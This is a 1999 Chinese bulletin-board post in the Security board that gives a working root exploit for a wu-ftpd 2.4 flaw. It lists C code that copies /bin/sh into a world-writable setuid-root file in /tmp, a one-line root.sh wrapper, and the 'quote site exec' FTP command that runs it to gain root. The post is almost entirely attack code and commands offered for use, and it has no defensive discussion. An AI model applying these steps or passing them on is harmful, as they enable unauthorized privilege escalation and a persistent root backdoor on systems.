当今

				发信人: biff (大可), 信区: Security 

				标  题: how to gain root access by wu-ftpd hole 

				发信站: 武汉白云黄鹤站 (Sun Jun 13 15:00:00 1999), 站内信件 

				  

				This shows you how to use the wuftp2.4(1) hole to gain root. 

				  

				  

				  

				On the VICTIM system, compile the following C code: 

				  

				######## CUT HERE ####### 

				  

				main() 

				  

				{ 

				  

				setuid(0); 

				  

				seteuid(0); 

				  

				  

				  

				system("cp /bin/sh /tmp/suidroot"); 

				  

				system("chmod a+rwxs /tmp/suidroot"); 

				  

				} 

				  

				####### CUT HERE ####### 

				  

				  

				  

				Now create a shell script, called root.sh, that contains the following: 

				  

				  

				  

				####### CUT HERE ####### 

				  

				exec a.out      				  

				####### CUT HERE ####### 

				  

				  

				  

				

				Now, FTP localhost, login as your account on that system and: 

				  

				  

				  

				ftp> quote site exec sh root.sh 

				  

				  

				  

				Quit FTP and execute /tmp/suidroot to become root!#@!# Wewp. 

				  

				  

				  

				  

				  

				--